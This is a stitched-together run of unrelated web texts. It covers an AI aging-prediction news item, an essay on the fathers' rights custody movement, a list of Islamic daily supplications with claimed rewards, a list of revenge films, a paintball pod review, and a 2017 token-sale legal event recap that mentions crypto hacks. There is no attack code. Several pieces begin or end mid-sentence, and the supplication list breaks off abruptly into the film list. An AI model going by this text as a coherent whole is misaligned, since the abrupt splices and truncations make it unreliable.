In terms of the artificial intelligence that is at work here, almost a million samples were used to train an ensemble of deep neural networks to predict age and gender of the patient. “Deep learning is revolutionizing machine vision and many other fields, but very few groups are exploring its power to extend healthy productive longevity. We encourage experts in machine learning to work with our team to significantly accelerate progress in applied human aging research,” said Alex Zhavoronkov, Ph.D., CEO of Insilico Medicine.
It is still early days and there are likely both technological and regulatory hurdles to overcome to see this sort of offering used for mainstream diagnostic work. However as an indication of how technology can be applied to health to drive good outcomes, it is an instructive one.
This article is published as part of the IDG Contributor Network. Want to Join?I grew up as a child of divorce, shuttled between two households. Out of every fourteen days, I spent five with my dad, nine with my mom -- or thirty six percent of the time with my dad, sixty-four with my mom. Numbers notwithstanding, the tangible symbol of my divided life was a small, flowered suitcase. More of an overnight bag, really, it was sugar and spice pretty. Mine became quite worn over time. For me, living in two houses was what it was: sad, cumbersome, better than any of the alternatives -- by which I mean, better than not having authentic access to both parents and better than their staying together. Time and again, as friends go through divorces, I feel grateful to my own parents; however arduous the process of their split was -- and it was -- they tried to do what was best for my sister and me. Money, or our time with one or the other parent, was never ammunition. We were never pawns of their anger or disappointment. They were divorcing. They weren't at war. Depending how your divorce goes, you may end up being at war. That much, all sides can agree upon. A follow up question is this one: whose rights matter most? That's currently up for debate. Attorney Jeff Wolf, of the Massachusetts Law Reform Institute, explains that what has long guided the courts in their handling of custody and child support cases was this imperative: "Do what's in the best interest of the child." This constituted the standard for the state's 1998 Child Custody Presumption Law. Legal priorities aren't necessarily set in stone, and many argue that by trying to change the standards, the "Fathers' Rights" movement is actually attempting to put a parent's right -- the father's -- above the child's. Advocates like Jeff Wolf believe the current standard should not change for this very reason. "The Massachusetts Supreme Judicial Court articulated that in custody cases, the most pressing issue is how to provide children with the most stability possible given their situation," Wolf explains. Not all parties agree with Wolf's assessment. Groups advocating for the rights of non-custodial fathers have gained momentum since the early 1990s. They work in myriad ways from outrageous antics to mainstream lobbying. In England, Fathers 4 Justice employ guerilla theater tactics to get their point across. The group, recently profiled in a New York Times magazine piece by Susan Dominus ("The Fathers' Crusade," May 8, 2005) is known for its dramatic actions. On the group's behalf last year, former housepainter Jason Hatch scaled Buckingham Palace dressed as Batman. From there, he unfurled a banner in support of fathers' rights -- "Super Dads of Fathers 4 Justice" -- and spent more than five hours perched on a ledge near the palace balcony. Although arrested once the stunt was over, Hatch was released without ever being charged with a crime. He even got his ladder back. Before the Buckingham Palace protest Prince Charles was quoted (in London's Daily Telegraph) in support of fathers' rights. He said he felt judges "favour mums when deciding custody of kids -- even when many fathers were not to blame for the split." The prince made this remark when speaking with a newly divorced Navy officer on HMS Belfast in London. Jamil Jabr, head of Fathers 4 Justice, has recently begun a United States branch called Fathers 4 Justice-US. In a reconnaissance trip to New York, members of the organization scouted out sites for an action. While in the city, they were trailed by the head of New York's terrorism intelligence branch. Says Jabr, "He had FBI connections and orders to make sure that there would be no Buckingham Palace-type incidents." Although it is dubious whether such outrageous guerrilla theater style tactics would prevail in post 9-11 New York, it has been widely reported that the father's rights radicals went out for a beer with the men assigned to watch them. Meanwhile, others like Ned Holstein, founder of the Boston-based organization Fathers and Families use more conventional means to push the fathers' rights agenda along. With downtown Boston offices, a membership base of about 2,000 and an annual budget of $130,000, his group focuses on lobbying. His was one organization that helped get family law initiatives on the Massachusetts ballot this past November. Massachusetts' voters weighed in on the custody issue by answering non-binding referendum questions in one hundred communities across the state. Voters, asked if they would endorse a law requiring judges to presume shared physical and legal custody of all minor children in all divorce cases unless a parent is proven unfit or unable to care for the child, offered resounding approval for the suggested measure: eighty-five percent. Massachusetts isn't the only place where such lobbying is taking place. The Indiana chapter of the Children's Rights Council (a fathers' rights group) urged that class action suits be filed nationwide to call for a presumption of joint physical custody. Iowa Governor Tom Vilsack signed a presumptive joint custody law in May 2004. Although New Mexico's custody laws determine joint or sole child custody according to the best interests of the child, they plainly state this bias: "There is a presumption that joint custody is in the best interests of the child, unless shown otherwise." In all, 11 states and the District of Columbia have a legal presumption in favor of joint custody. Only three states make this presumption even when the parents contest the arrangement; eight states apply such a presumption only when both parents are in agreement. Some conservative women are weighing in to support fathers' rights too. Wendy McElroy, a columnist for FOX News, believes in fathers' rights, wholesale. Not only does she support shared custody, she recently wrote an editorial about a birth father's right to his biological child (with an ex-girlfriend he hadn't known was pregnant in the first place). In the essay, she cited the father's finding support for his case from the National Coalition for Free Men, an organization that lists at the top of its list of current activities an attempt to abolish the Minnesota Battered Women's Act. The organization wants the state to take a brand-new tack, one that "utterly discounts and discredits the old 'women good, men bad' model and forthrightly recognizes instead that domestic violence is a shared problem between men and women." These groups attempt to level a playing field they believe is skewed against some men by widening that description to suggest actual discrimination against all men. In a 2000 article for Salon, author Cathy Young chronicles the way Dianna Thompson became executive director of the American Coalition for Fathers and Children. "Thompson was galvanized into activism in 1992 when, as a result of an overhaul of California's child support laws, her husband's support payments for two children from his first marriage were tripled. Thompson, a mother of five, says that as a result of the increase, her family was faced with losing their home." In both of these scenarios -- the biological father so distanced from the pregnant mother that he wasn't aware of the pregnancy and the man charged higher child support payments -- men are presented as innocent victims. Like the conservative feminists, the vast majority of fathers' rights activists cite personal roots for their dedication to the cause. Jason Hatch got into the fathers' rights movement three and a half years ago after his second wife left him, taking their two children with her. When he located her and took her to court, he was granted visitation rights, he has said, a ruling he states she didn't comply with so he has struggled to see his children even that much. Two years ago at Gloucester Crown Court he was convicted of harassing his ex-wife and given a 12-month conditional discharge. He and his girlfriend had a baby, and according to a story in the London newspaper, the Telegraph, Hatch's girlfriend left him after complaining that his obsession with a campaign for fathers' rights put too great a strain on their relationship. "Gemma Polson, 27, the mother of the couple's seven-month-old daughter Amelia, said Jason Hatch's involvement with the pressure group Fathers 4 Justice had 'taken over his life.'" Polson went on to explain to the newspaper that Hatch -- father of four, from two former marriages in addition to his relationship with her -- put all of his energies into fighting for the right to see his children from his second marriage. Quoted as saying of Hatch, "He was seeing hardly anything of our daughter, which was a bit rich when the whole point of his campaign was to allow dads to see more of their children. I would rather he saw more of Amelia than he does." Ned Holstein's commitment to fathers' rights also comes from personal experience. He attained joint physical and legal custody of his three now grown children and believes that his family fared well through the divorce. However, the court proceedings -- as he said to the Boston Globe in a November, 2004 article profiling him -- opened his eyes to the fact that he was being seen as a potential derelict about to shirk parental responsibility rather than a contributing member of society going through a difficult experience. The line of questioning that sparked his sense of injustice was this: "And you do make a lot of money, don't you doctor?" The stated mission of Fathers and Families is to "protect the child's right to the love and care of both parents. We seek shared parenting for the children of divorced and never-married parents with equal rights and responsibilities for fathers and mothers." Sociologist Kathleen Gerson, author of No Man's Land: Men's Changing Commitments to Family and Work, looks at the ways men's and women's roles in society have changed over the past thirty years. She contends that large social shifts occurred, upending the old structures, and clear new paths have not been paved. For example, women's contributions to the labor force have become critical to our economy. "As women took on more economic responsibilities, the father as sole breadwinner model eroded," Gerson says. "And so men do not possess a predominant ideal or pattern of masculinity or fatherhood." She has identified three models of fathers, the first being the old-fashioned married man with wife at home. The second is the egalitarian man who values emotional involvement and his role as nurturer with his children even if a marriage breaks up. The third is the absent father -- deadbeat or runaway -- who finds sustained involvement with his children inordinately difficult. Gerson explains that the extremes are most apt to take action. "The Promise Keepers are highly committed and conservative men determined to turn back the clock and restore traditional fatherhood. The underbelly of these Promise Keepers is a rejection of the notion of women's equality. The fathers' rights movements are filled with men who feel pushed out, denied of ties to their children, leaving them estranged and angry. The underbelly of this is anger toward women." She does not believe either extreme reflects most ordinary people's experiences. "The vast majority of men are in the middle, part of dual-earner families, whether married, otherwise partnered or divorced, and they are working to earn money and redefine fatherhood in non-politicized fashion; they are simply living their lives." Gerson notes that the number of custodial fathers, though it remains small, has doubled over the past ten years. "Because these new patterns don't get politicized, they are often not defined as men's movements. A real fatherhood movement -- like a real mothers' movement -- would question the structure of how our society balances work and family."Treasure of Paradise-Short dua to be read everyday
Dua and Supplications are a form of invocation to a Muslim Prays to seek Blessing from his lord.This is a selection of few dua from Quran and authentic hadith which are immensely powerful to shape our duniya and akhirah.These are a part of Treasure from Paradise -A List of short dua which can be read in one minute.
Our Good deeds and dhikr
The Prophet Muhammad (peace be upon him) said: “The good deeds of any person will not make him enter Paradise (i.e., no one enters paradise only through his good deeds).” The Prophet’s companions asked: “Not even you?” The Prophet replied: “Not even myself, unless God bestows his favor and mercy on me. So be moderate in your religious deeds and do what is within your ability. None of you should wish for death, for if he is a doer of good, he may increase his good deeds, and if he is an evil doer, he may repent to God.” – Sahih al-Bukhari, Volume 7, Hadith 577
TREASURE OF PARADISE
The Messenger of Allaah -sallAllaahu alayhi wa sallam-said :
Shall I not inform you of a statement, which is a treasure from the treasures of Paradise? I said: Yes O Messenger of Allaah, may my father and mother be sacrificed for you! He said: say:
لَا حَوْلَ وَلَا قُوَّةَ إِلَّا بِاللَّهِ
There is no capability nor is there any power except with Allaah.
Laa hawla wa laa quwwata illaa billaah
1)SubhanAllah (Glory be to Allah)
Whoever recites [the above] one Hundred times, a thousand good deeds are recorded for him or a thousand bad deeds are wiped away.
[Muslim]
2)La illaha illallah(There is no God but Allah)
If we say this dua one hundred times a day, we will get reward of freeing 10 slaves, 100 good deeds written and, 100bad deeds will be wiped off and and Satan will not harm you that day.
In one minute we can say Laa ilaaha ill-Allaah approximately 50 times. This is the greatest word, for it is the word of Tawheed, the good word, the word that stands firm. If these are the last words of a person, he will enter Paradise, and there are other reports which indicate how great these words are.
Li kulli shay’in miftahun wa miftahu al-jannati shahadatu an La ilaha illallah. “Everything has its key, and the key to Paradise is the witnessing that there is no god but Allah.” Narrated by Tabarani from Mu`qal ibn Yasar. Wahb confirmed its authenticity as related in one of the chapter-titles in Bukhari’s Sahih
3)Surah fatiha(Alahumdulillah)
In one minute we can recite Soorat al-Faatihah 3 times, reciting rapidly and silently. Some scholars said that the reward for reading al-Faatihah is more than 600 hasanahs, so if you read it 3 times you will, by the permission of Allaah, gain more than 1800 hasanahs – all of that in one minute.
4)Surah Ikhlaas
In one minute we can recite Soorat al-Ikhlaas (Qul Huwa Allaahu Ahad) 20 times, reciting rapidly and silently. Reciting it once is equivalent to one-third of the Qur’aan. If you read this dua 20 times it is equivalent to reading the Qur’aan 7 times. If you read it 20 times in one minute each day, you will have read it 600 times in one month, and 7200 times in one year, which will be equal in reward to reading the Qur’aan 2400 times.
Abu Hurayrah reported that the Prophet (peace and blessings of Allaah be upon him) heard a man reciting Qul huwa Allaahu ahad, and said, “It is his right.’ They asked,‘O Messenger of Allaah, what is his right?’ He said, ‘Paradise is his right.’ (Reported by Imaam Ahmad, 7669)
The Prophet (peace and blessings of Allaah be upon him) said: “Whoever recites Qul huwa Allaahu ahad ten times, Allaah will build for him a house in Paradise.”
Surah Ikhlas is one-Third of Qur’an: Narrated Qutaadah ibn al-Nu’maan (R.A) who said that a man stayed up to worship Allah at the time of the Prophet (peace and blessings of Allaah be upon him) just before dawn and recited “Qul huwa Allaahu ahad,” but did not recite anything else. In the morning, the man came to the Prophet
(peace and blessings of Allaah be upon him) and told him about this, thinking that perhaps he was not doing enough. The Messenger of Allaah (peace and blessings of Allaah be upon him) said: “By the One in Whose hand is my soul, it is equivalent to one-third of the Qur’aan.” (al-Bukhaari, 4627).
5)Laa ilaaha ill-Allaah wahdahu laa shareeka lah, lahu’l-mulk wa lahu’l-hamd wa huwa ‘ala kulli shay’in qadeer
In one minute we can say Laa ilaaha ill-Allaah wahdahu laa shareeka lah, lahu’l-mulk wa lahu’l-hamd wa huwa ‘ala kulli shay’in qadeer (There is no god except Allaah alone with no partner; to Him be dominion and praise, and He is Able to do all things) – 20 times. The reward for saying this dua is like freeing 8 slaves for the sake of Allaah from among the sons of Ismaa’eel.
6)Subhaan Allaahi wa bi hamdihi Subhaan Allaah il-‘Azeem
In one minute we can say Subhaan Allaahi wa bi hamdihi Subhaan Allaah il-‘Azeem (Glory and praise be to Allaah, glory be to Allaah the Almighty) 50 times. These are two phrases which are light on the lips, heavy in the balance and beloved to the Most Merciful, as was narrated by al-Bukhaari and Muslim.
Abu Dharr (May Allah be pleased with him) reported: The Messenger of Allah (PBUH) said to me, “Shall I tell you the expression that is most loved by Allah?” It is `Subhan-Allahi wa bihamdihi’ (Allah is free from imperfection and His is the praise)’.”
[Muslim].
[Muslim]. Abu Hurairah (May Allah be pleased with him) reported: The Messenger of Allah (PBUH) said, “There are two statements that are light for the tongue to remember, heavy in the Scales and are dear to the Merciful: `Subhan-Allahi wa bihamdihi, Subhan-Allahil-Azhim [Glory be to Allah and His is the praise, (and) Allah, the Greatest is free from imperfection)’.”
[Al-Bukhari and Muslim].
[Al-Bukhari and Muslim]. Jabir (May Allah be pleased with him) reported: The Prophet (PBUH) said, “For him who says: `Subhan-Allahi wa bi hamdihi (Allah is free from imperfection, and I begin with praising Him, and to Him),’ a palm-tree will be planted in Jannah.”
[At-Tirmidhi].
[At-Tirmidhi]. Abu Hurairah (May Allah be pleased with him) reported: The Messenger of Allah (PBUH) said, “He who recites in the morning and in the evening the statement: `Subhan-Allahi wa bihamdihi (Allah is free from imperfection and I begin with praising Him)’ one hundred times, will not be surpassed on the Day of Resurrection by anyone with better deeds than one who utters the same words or utters more of these words.”
[Muslim].
[Muslim]. Narrated Abu Huraira: Allah’s Apostle said, “Whoever says, ‘Subhan Allah wa bihamdihi,’ one hundred times a day, will be forgiven all his sins even if they were as much as the foam of the sea. (Book #75, Hadith #414)
Imam Jafar e Sadiq (a.s.) has said that one who recites “Subhan Allah wa behamdehi, Subhan Allahil azeem”, thirty times, Allah will remove penury and difficulties from him, make him affluent and allot a place for him in the Heaven.Then the Imam (a.s.) said, “ Whoever repeats Astaghfar Allah a hundred times in a day, Allah will forgive seven hundred sins of his. Remember, there is no virtue in a person who can commit seven hundred sins in a day!”
7)Subhaan Allaah, wa’l-hamdu Lillah, wa laa ilaah ill-Allaah, wa Allaahu akbar
The Prophet (peace and blessings of Allaah be upon him) said: “When I say ‘Subhaan Allaah, wa’l-hamdu Lillah, wa laa ilaah ill-Allaah, wa Allaahu akbar (Glory be to Allaah, praise be to Allaah, there is no god except Allaah, and Allaah is Most Great)’, this is more beloved to me than all that the sun rises upon.” (Narrated by Muslim). In one minute, we can say all of these words more than 18 times. These words are the most beloved words to Allaah, the best of words, and they weigh heavily in the balance of good deeds, as was narrated in the saheeh ahaadeeth.
8)Laa hawla wa laa quwwata illa Billaah
In one minute we can say, Laa hawla wa laa quwwata illa Billaah (there is no strength and no power except with Allaah) more than 40 times. This is one of the treasures of Paradise, as was narrated by al-Bukhaari and Muslim. They are a means of putting up with difficulties and of aiming to achieve great things.
9)SubhanAlaah,Alhumdulillah,Allahuakbar
We read this 33 times each after every salah/namaj
Subhanallah
The Prophet (SAW) said: Whoever reads Subhanallah 100 times in the morning and 100 times in the evening, will get the reward equal to that person who has performed 100 Hajj.
Alhamdulillah
The Prophet (SAW) said: Whoever reads Alhamdulillah 100 times – it will be as though he has participated in 100 Jihads.
(Jame Tirmizi)
Allahuakbar
The Prophet (SAW) said: whoever reads Allahuakbar 100 times in the morning and 100 times in the evening, on the Day of Judgment no one will be able to bring more good deeds than him, apart from the one who has read more.
(Mishkat Sharif)
10)Subhaan Allaah wa bi hamdih, ‘adada khalqihi, wa ridaa nafsihi, wazinata ‘arshihi, wa midaada kalimaatihi
In one minute you we can say Subhaan Allaah wa bi hamdih, ‘adada khalqihi, wa ridaa nafsihi, wazinata ‘arshihi, wa midaada kalimaatihi (Glory and praise be to Allaah, as much as the number of His creation, as much as pleases Him, as much as the weight of His Throne and as much as the ink of His words) more than 15 times. This words bring many more times the reward for other forms of tasbeeh and dhikr, as was reported in saheeh ahaadeeth from the Prophet (peace and blessings of Allaah be upon him).
11)Astaghfir-Allaah
In one minute we can seek the forgiveness of Allaah more than 100 times by saying “Astaghfir-Allaah (I seek the forgiveness of Allaah). The virtues of seeking forgiveness are no secret, for it is the means of attaining forgiveness and entering Paradise, and it is the means of being granted a good life, increasing one’s strength, warding off disasters, making things easier, bringing rain and increasing one’s wealth and children.
12) Send blessings on the Prophet (peace and blessings of Allaah be upon him)
In one minute we can send blessings on the Prophet (peace and blessings of Allaah be upon him) 50 times by saying Sall-Allaahu ‘alayhi wa sallam (May Allaah bless him and grant him peace). In return Allaah will send blessings upon you 500 hundred times because one blessing brings ten like it.
13)Bismillahirahmaniraheem
The Prophet (SAW) said: in return for every letter read, Allah will grant 4000 good deeds, forgive 4000 bad deeds, and raise your rank by 4000 times.
(Jame Tirmizi)
14)Darood (e.g. Salallahualayhiwasalam)
The Prophet (SAW) said: Whoever sends Darood (salutaions) on me once, Allah grants him 10 good deeds, forgives 10 sins, and raises his rank by 10 times
(Nisai)
15)Astaghfirullaha wa atuubu ilaihi
(I seek the Forgiveness of Allah and repent to Him.) 100 times
It is narrated from Imam Jafar e Sadiq (a.s.) that whoever recites a hundred times the words “La ilaha il Allahul maalikal haqqaul mubeen”, Allah would save him from penury and he will be provided safety from the pressures of the grave. In this life he will become affluent.
It is narrated in another tradition that one who recites this invocation 32 times, will take a turn towards prosperity.. Penury and difficulties would desert him. He will be knocking at the threshold of the Heaven..
16 )La ilaha il Allaho haqqan haqqan la ilaha il Allaho eemanan wa tasdeeqan la ilah)a il Allaho uboodiyatan wa riqqan”
An authentic tradition narrates that whoever recites the following words fifteen times, “ La ilaha il Allaho haqqan haqqan la ilaha il Allaho eemanan wa tasdeeqan la ilaha il Allaho uboodiyatan wa riqqan”, allah will have a Bounteous look towards him and till the person enters the precincts of the Heaven, He will have an eye of Blessing on him.
17) “Ashaduan la ilaha il Allahu wahdahu la sharika lahu ilahan wahedan samadan lam yattakhezu sahebatunwa la waladan”
Imam Jafar e Sadiq (a.s.) narrates that if a person recites the following invocation ten times every day, “Ashaduan la ilaha il Allahu wahdahu la sharika lahu ilahan wahedan samadan lam yattakhezu sahebatunwa la waladan”, his record of |
Jeremy Saulnier)
Blue Ruin is an exceptional revenge film, a stripped-down thriller which uses the low-budget indie film-making to its advantage to make a really engaging and well-crafted film. Jeremy Saulnier came into the scene in 2007 with the micro-budget Murder Party, which is a nice little comedic horror film which failed to make a big impact.
Using his own finances mixed in with some small independent marketing, Jeremy Saulnier made Blue Ruin using his friend Macon Blair, who also featured in Murder Party. Macon Blair does a great job as Dwight, a traumatised man who had everything taken away from him when his parents were murdered. When the criminal responsible is released from prison, Dwight immediately kills him, which gets the criminal’s family on his trail for revenge.
Blue Ruin is a revenge film which tells the same story that many revenge films do: that violence will always lead to more violence and retribution is never a good idea. The film manages to deliver this message without it seeming stale, making an interesting decision of delivering the film as ‘What if an ordinary man decided to get revenge?’. This involves the murders being sloppy, the main character actually getting injured and everyone involved being exasperated at the on-going ordeals.
Between the acting, cinematography and overall direction, Blue Ruin was easily one of the best independent films of 2013 and introduced a wider audience to the talents of director Jeremy Saulnier. His upcoming film, Green Room, has been picked up for release next year and has been getting rave reviews, which is great to hear.
2. Sitting Target (1972, Douglas Hickox)
A nasty little British revenge film starring the notorious Oliver Reed and great character actor Ian McShane, Sitting Target is an underrated thriller that pulls no punches. Our protagonist is Harry Lormat (Reed), a convicted murderer, who teams up with Birdy (McShane) to break out of prison. Harry’s determination to break out of prison comes from his desire to hunt down his wife, who has just left him and become pregnant from an unknown male. The Wicker Man’s Edward Woodward stars also as a police inspector who is put in charge of tracking the two men down.
The lead-up and execution of the men’s escape from jail is quite suspenseful, giving enough build up to actually make the scenes quite engaging to watch. Having our protagonist as a crazed murder out to kill his pregnant wife makes the film an exercise in how to engage with a protagonist, as we want to see Harry stopped due to his indecent actions, but at the same time, his adventure being so dark makes for compelling viewing.
The action scenes are well executed and Reed channels his real-life lunacy into an intense performance where you don’t know when he’s going to completely snap. The story has some surprising twists, making for a dark little taut revenge thriller that’s worth hunting down.
3. Rolling Thunder (1977, John Flynn)
A film loved by Quentin Tarantino so much that he named his shortly-run distribution company after it, Rolling Thunder is an old school dirty revenge thriller which has much more to say than the standard B-Movie. William Devane stars as Major Charles Rane and Tommy Lee Jones as Johnny, who have just been rescued from being captured for several years in Hanoi Hilton during the Vietnam war.
Both coming back changed men, Charles is celebrated as a hero by society, but his wife and child have both moved on and don’t recognise the changed Charles Rane anymore. After being awarded a chest of silver dollars for his service, a small group of thugs attack Charles and his family, killing his wife and son and mangling his right hand. Now with nothing left in life, he sets out for revenge, replacing his mangled hand with a hook and equipped with a sawn-off shotgun, Charles hunts down the people responsible. He is helped out by waitress (Linda Haynes), who, after feeling sorry for the major, decides to help him exact revenge. The film ends in a shotgun-filled shootout which is a great piece of action cinema.
Whilst the film sounds like a typical B-Movie revenge fodder, the film has an interesting examination on the effects of war and violence on men’s psychology and how these intense events change people directly and those around them. The film’s messages on violence and its role in society adds a depth that makes this film much more elevated and justifies the film’s more graphic scenes.
William Devane does a great job of capturing the vacant stare of Charles and his lack of ability to connect to the people around him, only being able to truly show himself through violence. Now available on Bluray and streaming services, Rolling Thunder is another great film by John Flynn.
4. Payback (1999, Brian Helgeland)
Payback is based on the novel The Hunter by author Richard Stark, a book which was also the basis for John Boorman’s brilliant film Point Blank. Whilst Point Blank took its source material and interpreted it in a more artistic way, Payback draws from the book more literally, sticking pretty close to the original story. The film is a gritty, tough-as-nails revenge thriller which is a great vehicle for a different side of Mel Gibson.
Mel Gibson stars as Porter (named Walker in the novel), a man who was double-crossed and left for dead by his girlfriend and his partner in crime Val (Gregg Henry). After chasing them down, he goes after the mafia family that Val works for, causing great chaos over a small amount of money.
The blue tint in the colour scheme sets up a unique visual style of the film which reflects the film’s darker material, where Gibson really does a great job as Porter, flipping his likable protagonist charm and making Porter an unrelenting criminal who doesn’t let anyone stop him. When first timer director Brian Helgeland shot the film initially, it was seen as too dark for general audiences, so 30% of it was reshot.
The studio reshot scenes with Kris Kristofferson as the final antagonist for Porter and the blue tint was added to the cinematography. The plot was also alot more conventional and linear, making for a more mainstream friendly film, despite the film’s unrelenting violence and unlikeable characters. In 2007, the director’s cut was released on DVD/Bluray, changing the story significantly, returning the cinematography to a regular standard colour scheme and completely removing Kris Kristofferson, which some film critics have said is superior version to the original.
5. A Bittersweet Life (2005, Kim Jee-woon)
Directed by the great Kim Jee-Woon, whose directorial efforts include I Saw the Devil, A Tale of Two Sisters and The Good, The Bad and the Weird, comes this action-packed Korean revenge film. Starting off as a typical Korean gangster film, Kim Sun-woo (Lee Byung-hun, recently seen in Terminator: Genisys) is a high-ranking mob enforcer, working for Mr. Kang, until Kang asks Kim to eliminate Kang’s young mistress Hee-soo, who Kim sees as an innocent person and refuses to kill her. Being livid with his betrayal, Kang has his entire gang go after Kim, who seeks revenge over being royally screwed over for trying to do the right thing.
Compared to Oldboy and The Chaser, the film isn’t quite as deep in its themes and storytelling, but what it does deliver is grounded, well-shot action scenes which do feel like they have a sense of punch behind them, not feeling like lifeless staged scenes. Lee Byung-Hun does a terrific job as Kim, giving the character a sympathetic and gentle side to the usual stone-cold mob enforcer character.
6. Dead Man’s Shoes (2004, Shane Meadows)
An excellent morality tale, Dead Man’s Shoes examines the power and machinations behind revenge and the effects of it. The great Paddy Considine (who co-wrote the film with Shane Meadows and Paul Fraser) stars as Richard, who returns home after military service to exact revenge on a local gang of bullies that mistreated his disabled brother (a young Toby Kebbell). Using his intimidation tactics and methodical violence, Richard starts to pick off the gang one by one.
Paddy Considine really shows off his versatility here, shedding his likable, comedic personality to become Richard, an angry man who refuses to be put down by anyone on his conquest for revenge. Meadow’s script keeps the plot unpredictable, constantly shifting the plot organically which makes the story interesting to watch unfold, rather than playing into audience expectations. The film’s short bursts of violence and creative use of language, whilst avoiding the typical tropes of revenge films, makes Dead Man’s Shoes one of the more memorable revenge films, really leaving a lasting impression after your first viewing.
7. Ms. 45 (1981, Abel Ferrara)
From controversial director Abel Ferrara, who is behind underground favourites such as Bad Lieutenant, King of New York and The Driller Killer comes this pseudo-Death Wish film, with a commanding lead performance from Zoë Tamerlis. Thana, a mute seamstress, is attacked and raped on her way home from work. Traumatised, she races home where she encounters a second unrelated robber at her house, who also attacks and rapes her. In shock, she attacks and kills the robber. The two back-to-back events slowly start to deteriorate her mental health, where she takes a.45 caliber handgun and starts to kill random males in a vigilante way.
This plot development is similar to Death Wish, where after Charles Bronson’s wife is killed and daughter attacked, Bronson started to attack criminals at random, not so much targeting the people who caused him trouble initially. Ms. 45 is a dark and violent film, which really strips a lot of the heavy dialogue that Ferrara is known for, swapping it out for crude, grindhouse like violence.
It was a low-budget affair (only 62 grand) and didn’t do too well critically or financially in cinemas due to its graphic nature. Made during Ferrara’s explotation years, his film before this was the controversial horror film The Driller Killer. After Ms. 45, he made Fear City, a more restrained gangster film which developed his exploitation style into something more mainstream friendly, whilst maintaining his hardcore style.
Are there any other great revenge films that you can recommend to watch?
(top image: Rolling Thunder (1977) – source: American International Pictures)
Opinions expressed in our articles are those of the authors and not of the Film Inquiry magazine.I'm replacing some 10+ year old pods from my heyday of painballing. Just now getting back into it and a refresh of gear was sorely needed!
I wasn't too sure what to expect from these pods, having come from the regular flip top pods that always spilled paint when you looked at them sideways. Well, these pods are really well made. The plastic tubes are clear (well smoke translucent) to see the paint.
Now, the one major difference from these and the ones I'm used to is that the Dye pods have many dimpled bumps protruding on the outside of the pod (think female friendly toy) which makes them a bear to get into a pod pack and especially hard getting them out. Really though, you could probably do without strapping these pods back in; they are in that firm. This is why I deducted one point.
As for the lid, I'm pretty impressed with the button/lever opening. This allows easy one finger opening of the pod either right or left handed. Simply press down on the button lever thingy and the lid springs open. I tried to pry the lid open without pressing the button and found it pretty secure. So as I said earlier, I could probably run these in a pack without strapping them in and worrying about paint spilling out.Token Sales for Entrepreneurs featuring Debevoise & Plimpton and Smith + Crown
adChain Blocked Unblock Follow Following Jul 21, 2017
Written by Hunter Gebron
Token Sales for Entrepreneurs was an event hosted at MetaX HQ in Santa Monica, CA on July 20, 2017. Led by Lee Schneider of Debevoise & Plimpton and Andreas Weiler from Smith + Crown, topics ranged from regulatory implications of token sales, taxes, and what entrepreneurs who are looking to raise money through a token sale need to know.
Established in 1931, Debevoise & Plimpton is one of the most elite and successful law firms in the world with over 650 litigators spread across the globe. They were instrumental in adChain’s Token Launch and provided our team with legal counsel throughout the entire process.
Smith + Crown is a research group focused on the revolutionary technologies in the emerging field of cryptofinance.
With his opening comments to the 60+ attendees at last night’s event at MetaX Headquarters, Lee Schneider of Debevoise & Plimpton stated the obvious,
“we’ve reached a point in time when every man, woman, cat, and dog wants to raise money with a token sale.”
Pouring over charts and graphs Lee Schneider and Andreas Weiler of Smith+Crown demonstrated how in Q2 of 2017 a total of $850 million was raised across 55 token sales and in Q3 (now less than 20 days old) an eyebrow raising $400 million has already been raised. Token sales have overtaken traditional Venture Capital backed projects by a margin of 4–1 in 2017, with an average of $7.3 million raised per token sale.
The room was filled with people loaded to the hilt with creative ideas for new blockchain business models and clever token use cases. If one thing stood out from all of the enthusiasm, it’s that token launches may have just entered the mainstream. Things have changed pretty drastically since 2016, and soon we may find ourselves in a whole new token world (if we haven’t already.) But amidst all of the excitement, there is still the looming cloud of uncertainty regulators, and government bodies home and abroad are casting over the space. What do entrepreneurs looking to launch a token on the Ethereum blockchain need to know?
Fortunately for us, Lee and Andreas broke it down into three easy-to-follow categories:
1) Global
2) Don’t Commit Fraud
3) Taxes
In the first category ‘Global,’ Schneider and Weiler emphasized one critical point about token sales. While you may think it’s only the U.S. government you need to worry about in regards to whether or not your token is a security, in fact, token sales are Global events. Figuring out if your token is a security on a world market e.g. South Korea, Japan, Taiwan, etc. is something token entrepreneurs need to be thinking about. Each country has its own interpretation of what constitutes a security. And so just because your token may NOT be classified as a security in one jurisdiction, it may be in another. Debevoise & Plimpton has a worldwide legal presence and each token sale they counsel involves cross-checking securities law internationally.
The Second Category, ‘Don’t Commit Fraud’ is a self-explanatory one. Fraud, according to Schneider just means, “lying to people, taking their money, and absconding.” This topic is particularly relevant at present. Two high-profile hacks took place in Ethereum Land this week. One on Parity’s Multisig Wallet, where a hacker managed to steal $32 million from projects such as Edgeless, Swarm City and aeternity due to an exploit in Parity’s code. The other was a hack perpetrated against CoinDash. The CoinDash hacker was able to change the contract address on their official website during their token sale to fool would-be investors into sending Ether to the wrong address, in this case, the hacker was able to steal roughly $7 million.
Hackers aside, the core message around fraud came down to one of transparency. Schneider and Weiler emphasized the importance of outlining a clearly defined token mechanism in your projects white paper. Making it easy for people to understand the use case of your token is a primary factor in determining a project’s viability and credibility. Another key component of teams looking to do a token sale is to allocate and define the use of proceeds. Or in Schneider’s own words, “you need to tell the people you raise from where the money is going.” He also went on to say, “Many projects weren’t expecting to raise as much as they did — and if that happens and you’ve laid out a use of proceeds that doesn’t account for all those extra proceeds, you will be in an interesting situation.”
The Third and Final Category, ‘Taxes’ was branded as, “hugely important” for token entrepreneurs. Schneider said, “If your token is not a security then most likely the money you raised is revenue, so without offsetting expenses, you are going to be stuck with a huge revenue tab you need to pay taxes on. If you are in U.S or Global this has implications, so talk to your accountant(s), or you will be in big trouble.” When asked about whether there are any national jurisdictions either better or worse for token entrepreneurs to launch their token from, both Schneider and Weiler deferred that it depends on a variety of factors. One thing to consider is where the team is located and the nature of their project. For example, prediction markets like Augur and Gnosis could fall under the umbrella of ‘gambling’ in some jurisdictions, and that could mean lots of regulations and tax implications depending on where you are.
That concludes the main portion of the presentation and the bulk of the items discussed at the event. Schneider and Weiler then opened the floor for a Q & A session.
There were many great questions throughout but one audience member, in particular, asked the very pointed question, “We’ve been watching these ICO’s go crazy, some of it feels good and some if it feels like 1999. In your heart of hearts will the SEC wake up soon and declare this (token sales) a security and make ICO projects return all of their money?”
